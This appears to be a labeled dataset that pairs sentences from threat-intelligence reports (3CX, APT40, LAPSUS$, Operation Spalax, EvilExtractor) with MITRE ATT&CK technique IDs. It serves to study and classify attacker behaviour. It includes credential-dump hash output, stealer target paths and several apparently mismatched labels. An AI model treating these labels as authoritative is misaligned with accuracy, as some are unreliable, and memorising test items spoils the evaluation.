Wormhole Observations from the StellarParticle Campaign"} {"sentence": "This was done by adding credentials to this second Service Principal, which was legitimately created by the company.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "Additionally, the failed (not successful) process listing resulted in a DCOM error that was logged in the System.evtx event log under Event ID 10028.", "labels": ["T1057"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "While unproven, it’s possible the threat actor was running tasklist remotely on these systems specifically to see which of the target systems was running Google Chrome.", "labels": ["T1057"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "This is because a current or recent Chrome session to the victim’s cloud tenants would be potentially beneficial in the hijacking of sessions that the threat actor performed in order to access the victim’s cloud resources.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "There was little to no activity during the (S)FTP sessions.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "However, the threat actor had knowledge of these accounts and used them on the correct systems, which further confirmed that the threat actor had advanced knowledge of the victim’s environment.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "Eventually, the threat actor attempted an account that they had the correct password for but that had not been set up with MFA.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "Hash 01: 12227358dd7013c7dbdbd8fdcc0c6668 Hash 02: 6a028636a6f52491424586bb88357f7c Hash 03: c13ef7347853dc3be7e7259fdc8818a1 Hash 04: 6635151746869ce485246037747adae1 Hash 05: 85543f498b007e07a3da662c8a9d450b SupplementalCredentials: ClearText:", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "NTLMStrongHash: de164e3465f163e846a5e1c22a5ac649 Kerberos: Credentials: DES_CBC_MD5 Key: 0013364f00003915 DES_CBC_CRC Key: 0013364f00003915 OldCredentials: DES_CBC_MD5 Key: 00002a46000004bc DES_CBC_CRC Key: 00002a46000004bc Salt: demo.localTestUser Flags: 0 KerberosNew: Credentials: AES256_CTS_HMAC_SHA1_96 Key: afd4d60e8d0920bc2f94d551f62f0ea2a17523bf2ff8ffb0fdade2a90389282f Iterations: 4096 AES128_CTS_HMAC_SHA1_96 Key: f67c2bcbfcfa30fccb36f72dca22a817 Iterations: 4096 DES_CBC_MD5 Key: 00002f34000004ee Iterations: 4096 DES_CBC_CRC Key: 00002f34000004ee Iterations: 4096 OldCredentials: AES256_CTS_HMAC_SHA1_96 Key: b430783ab4c957cf6a03d3d348af27264c0d872932650ffca712d9ebcf778b9f Iterations: 4096 AES128_CTS_HMAC_SHA1_96 Key: dc34bfd5e469edbeada77fac56aa35ae Iterations: 4096 DES_CBC_MD5 Key: 0000345400000520 Iterations: 4096 DES_CBC_CRC Key: 0000345400000520 Iterations: 4096 OlderCredentials: AES256_CTS_HMAC_SHA1_96 Key: 26efd3593712e555f8366bb4b8aff097d09acd93c3a1b6d4ea03c578aad9e087 Iterations:", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "Steal Web Session Cookie The threat actor stole web session cookies from end user workstations and used them to access cloud resources Lateral Movement T1021.001:", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "Use Alternate Authentication Material: Application Access Token The threat actor used compromised service principals to make changes to the Office 365 environment.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "Collection T1213.:", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "Watch this video to see how Falcon OverWatch proactively hunts for threats in your environment.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "Test CrowdStrike next-gen AV for yourself.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"} {"sentence": "The Qualys Threat Research Unit (TRU) is tracking a supply chain compromise in a popular VOIP desktop client by 3CX that is attributed to DPRK nation-state adversaries.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "} {"sentence": "This threat is being tracked as by MITRE as CVE-2023-29059 Fig.1 Campaign flow Technical Summary Once the affected version of 3CX is installed or updated, it drops a compromised ffmpeg.dll as well as d3dcompiler_47.dll, which contains embedded shellcode.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "} {"sentence": "The “d3dcompiler_47.dll” DLL has an encrypted payload embedded in it.", "labels": ["T1027"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "} {"sentence": "Fig.3 Embedded encrypted payload", "labels": ["T1027"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "} {"sentence": "7 GitHub repository Info Stealer Analysis File Type MD5 SHA256 SignatureCompilation TimeDLL PE 64bits 7FAEA2B01796B80D180399040BB69835 8AB3A5EAAF8C296080FADF56B265194681D7DA5DA7C02562953A4CB60E147423 N/A Fri Mar 17 00:32:58 2023 Table.4 Info stealer details The info stealer was deployed in the later stages of the infection chain and is a previously unseen sample.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "} {"sentence": "Following locations are accessed by the information stealer: Google Chrome – AppData\\Local\\Google\\Chrome\\User Data Microsoft Edge – AppData\\Local\\Microsoft\\Edge\\User Data Brave Browser – AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data Mozilla Firefox – AppData\\Roaming\\Mozilla\\Firefox\\Profiles Fig.10 System data collection -1 Fig.10 System data collection -2 Qualys Detection & Protection", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "} {"sentence": "The first step in assessing the risk of this attack to an organization is understanding if this software is in use.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "} {"sentence": "For example, within seconds, you can use the below query to identify assets with instances of the 3CX Desktop Application. software:(name:”3CX Desktop App 18.12″)", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "} {"sentence": "Example output: Fig.13", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "} {"sentence": "You need to execute this uninstallation script provided by Qualys.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "} {"sentence": "If any of these versions are installed on the system, the script will attempt to uninstall the vulnerable application.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "} {"sentence": "Dead Drop Resolver Command and Control T1071 Application Layer Protocol Collection T1005 Data from Local System Table.5 MITRE mapping IOCS ffmpeg.dll C485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02 7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896 c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02 d3dcompiler.dll 11be1803e2e307b647a8a7e02d128335c448ff741bf06bf52b332e0bbf423b03 11be1803e2e307b647a8a7e02d128335c448ff741bf06bf52b332e0bbf423b03 Embedded dll F86A81B89C5FD4C98BC8616440FF0382505EC7942DA6D4F19EEE011E956434A8 Trojanized 3cxDesktopApp Dde03348075512796241389dfea5560c20a3d2a2eac95c894e7bbed5e85a0acc Fad482ded2e25ce9e1dd3d3ecc3227af714bdfbbde04347dbc1b21d6a3670405 92005051ae314d61074ed94a52e76b1c3e21e7f0e8c1d1fdd497a006ce45fa61", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "} {"sentence": "The malicious installation package contains an infected dll library that decrypts a shellcode from the d3dcompiler_47.dll library’s overlay and executes it.", "labels": ["T1140"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"} {"sentence": "The infostealer collects system information and browser history, then sends it to the C2 server.", "labels": ["T1041"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"} {"sentence": "To answer that question, we decided to review the telemetry we had on the campaign.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"} {"sentence": "Gopuram was additionally observed to launch in-memory modules.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"} {"sentence": "We have observed eight modules so far: Module name Description Ping Pings a host specified in the argument.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"} {"sentence": "Service Manipulates (creates, lists, starts, stops and deletes) services.", "labels": ["T1543.003"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"} {"sentence": "Inject Performs payload injections through syscalls via mapping a shellcode to a remote process and creating a remote thread.", "labels": ["T1055"], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"} {"sentence": "We believe that Gopuram is the main implant and the final payload in the attack chain.", "labels": [], "doc_title": "Not just an infostealer Gopuram backdoor deployed through 3CX supply chain attack"} {"sentence": "Table 1 provides details on these tactics and techniques.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"} {"sentence": "Table 1: APT40", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"} {"sentence": "[T1189] and exploitation of public-facing applications [T1190] Access to valid", "labels": ["T1078", "T1190"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"} {"sentence": "[TA0008] APT40 has used a combination of tool frameworks and malware to establish persistence, escalate privileges, map, and move laterally on victim networks.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"} {"sentence": "[S0032] GreenRAT jjdoor/Transporter jumpkick Murkytop (mt.exe)", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"} {"sentence": "[S0363] PowerSploit", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"} {"sentence": "[T1074.001] and remotely [T1074.002] for exfiltration Exfiltration over C2 channel [T1041] MitigationsNetwork Defense-in-Depth Proper network defense-in-depth and adherence to information security best practices can assist in mitigating the threat and reducing the risk.", "labels": ["T1041"], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"} {"sentence": "Maintain up-to-date antivirus signatures and engines.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"} {"sentence": "Implementing a rigorous configuration and patch management program will hamper sophisticated cyber threat actors’ operations and protect resources and information systems.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security Department"} {"sentence": "Review the articles in the References section for more information on Chinese APT exploitation of common vulnerabilities.", "labels": [], "doc_title": "AA21200A Tactics Techniques and Procedures of Indicted APT40 Actors Associated with Chinas MSS Hainan State Security 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Security Department"} {"sentence": "Targeted malware attacks in Colombia url: https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/ ESET researchers uncover attacks targeting Colombian government institutions and private companies, especially from the energy and metallurgical industries", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "For the latter, the most targeted sectors are energy and metallurgical.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "While we have not seen any payload delivered by the attackers other than RATs, some of the targets in the current campaign (such as a lottery agency) don’t make much sense for spying activities.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "These archives are hosted in legitimate file hosting services such as OneDrive or MediaFire.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "On the contrary, most of these emails have generic topics that could be reused for different targets.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "Header of a phishing email In more recent emails, the shortened link in the PDF file resolves to https://bogota.gov[.]co (a legitimate site) when visited from outside of Colombia.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "In these cases there is no attachment: a link to the GetResponse platform leads to the download of malware.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "You can see the other emails in the following gallery (click to enlarge): Figures 5 to 13.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "Various phishing emails and their attached files Malicious artifacts Droppers The executable files contained in compressed archives that are downloaded via the phishing emails are responsible for decrypting and running remote access trojans on a victimized computer.", "labels": ["T1027", "T1140"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "In the following sections, we describe the various droppers we have seen.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "The names of these files change between executables.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "The one on the left (SHA-1: 3AC39B5944019244E7E33999A2816304558FB1E8) is an executable used by this group and the one on the right (SHA-1: 6758741212F7AA2B77C42B2A2DE377D97154F860) is unrelated.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "The SHA-1 hashes for all the benign files are the same (and also the filenames) and even the malicious DLL is the same.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "Files contained in NSIS droppers from unrelated campaigns This means that these installers were generated with the same builder, but by different actors.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "This, along with a complete analysis of the dropper, was described earlier this year by Sophos in their RATicate article.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "Agent Tesla packers We have seen several droppers that are different variants of a packer that uses steganography and is known to be used in Agent Tesla samples.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "This new executable is packed with CyaX. It reads data from its own resource section and decrypts a payload.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "It reads the image from the first executable, and stores every pixel as three numbers according to its red, green and blue components.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "Then it decrypts the array by doing a single-byte XOR operation, cycling through the key.", "labels": ["T1140"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "Code to decrypt and run the third-stage malware The third stage is in charge of decrypting and running the payload.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "The shellcode is concatenated in the same manner as the payload and executed like the previous shellcode.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "Payloads The payloads used in Operation Spalax are remote access trojans.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "These provide several capabilities not only for remote control, but also for spying on targets: keylogging, screen capture, clipboard hijacking, exfiltration of files, and the ability to download and execute other malware, to name a few.", "labels": ["T1041", "T1056.001", "T1105", "T1113"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "These RATs were not developed by the attackers.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "In all cases we have observed v0.5.7B, which can be found on GitHub, has been used.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "This amounts to at least 24 IP addresses.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "This corresponds to at least 40 further IP addresses.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "As it is highly unlikely that the criminals own so many residential IP addresses, it is possible that they use some victims as proxies, or some vulnerable devices to forward communication to their real C&C servers.", "labels": ["T1090"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "T1566.002Phishing:", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "Windows Command ShellThe attackers have used RATs that can launch a command shell for executing commands. T1106Native", "labels": ["T1059.003"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "T1027.002Obfuscated Files or Information:", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "SteganographyThe attackers have used packers that read pixel data from images contained in PE files’ resource sections and build the next layer of execution from the data.", "labels": ["T1027"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "Credential AccessT1555.003Credentials from Password Stores: Credentials from Web BrowsersThe attackers have used various RATs with modules that steal passwords saved in victim web browsers.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "Window", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "T1120Peripheral Device", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "DiscoveryThe attackers have used droppers that check for security software present in a victim’s computer.", "labels": ["T1518.001"], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "T1007System", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "Service DiscoveryThe attackers have used various RATs that have modules to manage services on the system.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "Through Removable MediaThe attackers have used njRAT, which can be configured to spread via removable drives.", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "CollectionT1123Audio", "labels": [], "doc_title": "Operation Spalax Targeted malware attacks in Colombia"} {"sentence": "Using compromised credentials to access corporate VPNs.", "labels": ["T1078"], "doc_title": "LAPSUS Recent techniques tactics and procedures"} {"sentence": "Disruption or destruction to victim infrastructure to hinder analysis and consume defensive resource.", "labels": ["T1078"], "doc_title": "LAPSUS Recent techniques tactics and procedures"} {"sentence": "This distinguishes themselves from more traditional ransomware groups who have a clear modus operandi and are clearly financially focused.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"} {"sentence": "This serves as a reminder for defenders for defence in depth and the need to anticipate different tactics that threat actors may use.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"} {"sentence": "The main source of initial access is believed to occur via stolen authentication cookies which would grant the attacker access to a specific application.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"} {"sentence": "In the investigations conducted by NCC Group, little to no malware is used.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"} {"sentence": "Access to corporate VPNs is a primary focus for this group as it allows the threat actor to directly access key infrastructure which they require to complete their objectives.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"} {"sentence": "Impact NCC Group has observed disruption and destruction to client environments by LAPSUS$ such as shutting down virtual machines from within on-premises VMware ESXi infrastructure, to the extreme of mass deletion of virtual machines, storage, and configurations in cloud environments making it harder for the victim to recover and for the investigation team to conduct their analysis activities.", "labels": ["T1070.004"], "doc_title": "LAPSUS Recent techniques tactics and procedures"} {"sentence": "Recommendations Ensure that Cloud computing environments have sufficient logging enabled.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"} {"sentence": "Ensure logging is in place to record MFA device enrolmentSecurity controls such as Conditional Access can help restrict or prevent unauthorised access based on criteria such as geographical location.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"} {"sentence": "Implement activities to detect and investigate anomalies in VPN access.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"} {"sentence": "Secret Scanning[1][2] on source code repositories should be conducted to ensure that sensitive API credentials are not stored in source code.", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"} {"sentence": "Groups Discovery: Domain GroupsT1016.001Discovery – System Network Configuration DiscoveryT1078.002Privilege Escalation – Domain AccountsT1555.005Credential Access – Credentials from Password Stores: Password ManagersT1021.001Lateral Movement – Remote Services:", "labels": [], "doc_title": "LAPSUS Recent techniques tactics and procedures"} {"sentence": "MITRE Shield, a knowledge base maintained by MITRE for active defense techniques highlights many of the methods in adversary engagement.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Some of the credential stealing techniques like Golden Ticket attacks have been found to be used in multiple ransomwares armed with lateral movement capabilities.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "As indicated earlier, attackers have long been abusing Windows legitimate features like SMB, RPC over SMB, Windows Management Instrumentation, Windows Remote Management, and many other features to perform lateral movement activities.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Figure 1 below highlights where lateral movement falls within the attack chain and its different stages.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "On (SSO) functionality, which require the user’s credentials to be stored in memory, thereby allowing the OS to seamlessly access network resource without repeatedly asking the user to re-enter those credentials.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "These credentials can be acquired by attackers from memory by parsing appropriate credential storage structures or using the Windows credential enumeration APIs.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "These credentials are generated and stored in the memory of the LSASS process when a user initiates the interactive logon to the machine such as console logon or RDP, runs a scheduled task or uses remote administration tools.", "labels": ["T1003.001", "T1053.005"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "However, malware would need to execute with local administrator privileges and enable “SeDebugPrivilege” on the current process to be able access the LSASS process memory.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Below is a code snapshot from one of the famous credential harvesting tools, Mimikatz, enabling the required privileges on the calling thread before dumping the credentials.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "NT hashes for all the accounts on the local machine, including the local administrator credential hash, are stored in the SAM database.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "These credentials are encrypted with Windows Data Protection APIs (DPAPI) CryptProtectData, either using the current user’s logon session or a generated master key, and then saved on the local hard drive.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Below is one example of how credential dumping tools like Mimikatz can be used to dump stored Chrome credentials.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Below is a screenshot of how the master key can be extracted by using the credential dumping tool.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "These APIs can extract credentials from Windows Credential Manager.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Attackers gaining access to a system joined in the domain would usually look for high value assets like Active Directory Controller, Database server, SharePoint server, Web Server, etc., and these services are registered in the domain with the specific Service Principal Name (SPN) values, which is a unique identifier of the Service Account in the domain.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Once the attacker is authenticated with any domain user credentials and has information about the SPN values of the services within the domain, they can initiate the Kerberos Ticket Granting Service request (TGS – REQ) to the Key Distribution Server with the specified SPN value.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "As an initial step to this lateral movement technique, the attacker would perform an internal reconnaissance to gain information about the services registered in the domain and get SPN values.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Following is an example output from the script:", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "This can be brute forced offline by tgsrespcrack, allowing the attacker to gain unrestricted access to the service with elevated privileges.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "DRSUAPI is the RPC protocol used for replication of AD objects.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "With DCERPC bind request to DRSUAPI, an RPC call to DSGetNCChanges will replicate all the user AD objects to the impersonating client.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Decoy Machine runs client applications pointing to decoy services: Decoy machines may run the client with deceptive credentials and configured to point to the decoy services.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "The below highlights some of the auditing required to be enabled on the decoy systems for effective correlation.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Figure 19 – Basic decoy setup Illustrating and Achieving Network Deception", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "This ensures the specified credentials are used only on the network and not for local logons.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Figure 26 – Deceptive credentials usage for authentication in the domain One such example event of successfully logging on to the decoy system is as shown below: Figure 27 – Alert send to administrator on using deceptive credentials MITRE ATT&CK Techniques: Credential theft attacks discussed here are mapped by MITRE as below: Technique ID Technique Name Description T1003.001 LSASS Process Memory Attackers may attempt to access LSASS process memory to extract credentials as it stores a variety of credentials.", "labels": ["T1003.001"], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "File is present on the DC and domain admin privileges are required to access this file.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "Endpoint solutions like User Entity Behavior Analytics (UEBA) and Endpoint Detection and Response (EDR) could also play a significant role in building the deception infrastructure.", "labels": [], "doc_title": "Detecting Credential Stealing Attacks Through Active InNetwork Defense"} {"sentence": "DNS is a fundamental component of the internet infrastructure, as any communication must start with a DNS name resolution.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "However, they are different in terms of their function and order of appearance.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "In DNS poisoning, threat actors replace the DNS records to redirect unsuspecting users to malicious destinations.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "Then, DNS spoofing redirects unsuspecting users to the malicious website using a poisoned cache.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "This action consumes the target DNS memory and CPU resources, eventually taking the server offline.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "This enables one component to remain operational if the second fails.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "Use a dedicated DNS server.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "However, if the attacker accesses one application hosted on the server, they can compromise and alter the DNS settings.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "To execute this attack, attackers use a DNS proxy server that automatically sends a massive number of DNS requests to the targeted authoritative DNS server.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "These records don’t need to be updated regularly.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "Prevent DNS authoritative name servers from functioning as recursive servers.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "this attack is malicious, some internet service providers (ISPs) use this technique to direct users to other websites.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "For example, some ISPs use it to display advertisements based on a user’s browsing history.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "A good first step toward guarding against rebinding attacks is to protect the router with a strong password.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "To prevent this attack, we should:Use advanced security solutions, including next-generation firewalls on network perimeters and network detection and response (NDR), to monitor all interactions within our IT environment.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "This enables us to detect APT and ransomware operators and halt communications with attackers’ servers.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "After a while, the target DNS server consumes its server cache while waiting for the attacker domain’s responses and eventually becomes unresponsive.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "There are several different techniques to attack the DNS service, which we can group into two main categories:Attacks that aim to make the DNS service unavailableAttacks that aim to manipulate the DNS records to lead unaware users to malicious destinationsAs this article has demonstrated, each type of DNS attack requires a different set of countermeasures to mitigate it.", "labels": [], "doc_title": "Understanding DNS attacks Identifying and patching vulnerabilities Snyk"} {"sentence": "However, research conducted by FortiGuard Labs shows cybercriminals are actively using it as an info stealer.", "labels": [], "doc_title": "EvilExtractor AllinOne Stealer"} {"sentence": "This article will examine the initial attack method used to deliver EvilExtractor and its functions. Figure 1.", "labels": [], "doc_title": "EvilExtractor AllinOne Stealer"} {"sentence": "File header of \"Account_Info.exe\" The execution file is a Python program packaged by PyInstaller.", "labels": ["T1027"], "doc_title": "EvilExtractor AllinOne Stealer"} {"sentence": "It is a PowerShell script that contains the following modules:", "labels": [], "doc_title": "EvilExtractor AllinOne Stealer"} {"sentence": "Date time checking Anti-Sandbox Anti-VM Anti-Scanner FTP server setting Steal data Upload Stolen data Clear log It first checks whether the system’s date is between 2022-11-09 and 2023-04-12.", "labels": [], "doc_title": "EvilExtractor AllinOne Stealer"} {"sentence": "Download components for the Keylogger and Webcam Snapshot functions EvilExtractor also collects system information by PowerShell script, shown in Figure 9.", "labels": ["T1056.001"], 